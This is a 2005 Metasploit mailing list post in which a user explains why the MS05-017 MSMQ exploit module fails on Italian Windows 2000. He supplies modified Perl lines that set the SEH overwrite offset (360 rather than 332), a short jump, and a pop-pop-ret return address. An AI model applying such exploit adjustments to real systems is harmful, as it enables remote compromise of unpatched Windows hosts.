Metasploit mailing list archives

msmq_deleteobject_ms05_017.pm different offset for different languages


From: msf-list at jervus.it (msf-list at jervus.it)
Date: Tue, 13 Dec 2005 14:34:25 +0000

Hi i'm playing with msmq_deleteobject_ms05_017.pm
 with my win00 Italian version (SP0) and the exploit don't work;
 after a little debug session i understand why.
 
 For the italian version the correct offset is 360 so i have add this:
 
  # Windows 2000 Italian SP0 SEH offset 
        substr($pattern, 360 + $hlen + 0, 4, pack('V', $target->[1]));
        substr($pattern, 360 + $hlen - 4, 2, "\xeb\x22");
 
 
 for the english version (win00)the offset is:
 
 # Windows 2000 SEH offset goes first
        substr($pattern, 332 + $hlen + 0, 4, pack('V', $target->[1]));
        substr($pattern, 332 + $hlen - 4, 2, "\xeb\x22");
 
 
 
 It's the same for the Win00 Advenced Server Italian version (SP4)
 
 The only differnce is the offset, the return address is always the 
x004014e9 (pop pop ret)
 
 Someone know if the same for different languages?
 For example French,Spanish or German version of win00?
 
 Thank you for your attention and sorry for my bad english :-(
 
 
 Ciao
 Acaro




Current thread: